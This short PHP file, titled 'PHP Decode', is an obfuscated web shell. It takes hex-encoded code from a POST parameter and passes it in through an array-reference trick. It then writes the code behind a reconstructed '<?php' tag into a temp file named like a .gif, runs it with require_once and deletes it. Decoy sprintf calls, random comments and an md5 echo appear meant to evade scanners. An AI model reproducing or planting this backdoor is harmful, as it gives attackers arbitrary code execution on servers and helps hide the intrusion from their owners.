PHP Decode

<?php 
function filterStr($hex) 
{ 
    $str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h'; 
    $str .= "p" . "
"; 
    for ($i = 0; $i < strlen($hex) - 1; $i += 2) 
        $str .= chr(hexdec($hex[$i] . $hex[$i + 1])); 
    return $str . "?"; 
} 
function randomGifFile() 
{ 
    $string_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'; 
    $tmp = ''; 
    // e98il3hfMPR0g6uv3jwt 
    for ($i = 0; $i < 6; $i++) { 
        $tmp .= $string_table[rand(0, 62 - 1)]; 
    } 
    return sys_get_temp_dir() . "/" . $tmp; 
} 
if (!isset($_GET["id"]) || !isset($_POST["ftp"])) { 
    die; 
} 
// e98il3hfMPR0g6uv3jwt 
$a = array(1 => "userName"); 
$b =& $a[1]; 
$c = $a; 
// gpasda 
$c[$_GET["id"]] = $_POST["ftp"]; 
$fileName = randomGifFile() . ".gif"; 
file_put_contents($fileName, "" . chr(hexdec('3c')) . filterStr($a[1]) . ">"); 
sprintf("hello world%s","1");sprintf("hello world%s","2");sprintf("hello world%s","3"); 
if (file_exists($fileName)) { 
    require_once /*file hhh*/$fileName; 
} 
// e98il3hfMPR0g6uv3jwt 
@unlink($fileName); 
echo(md5("0cabcd!@#A."));die;   
?>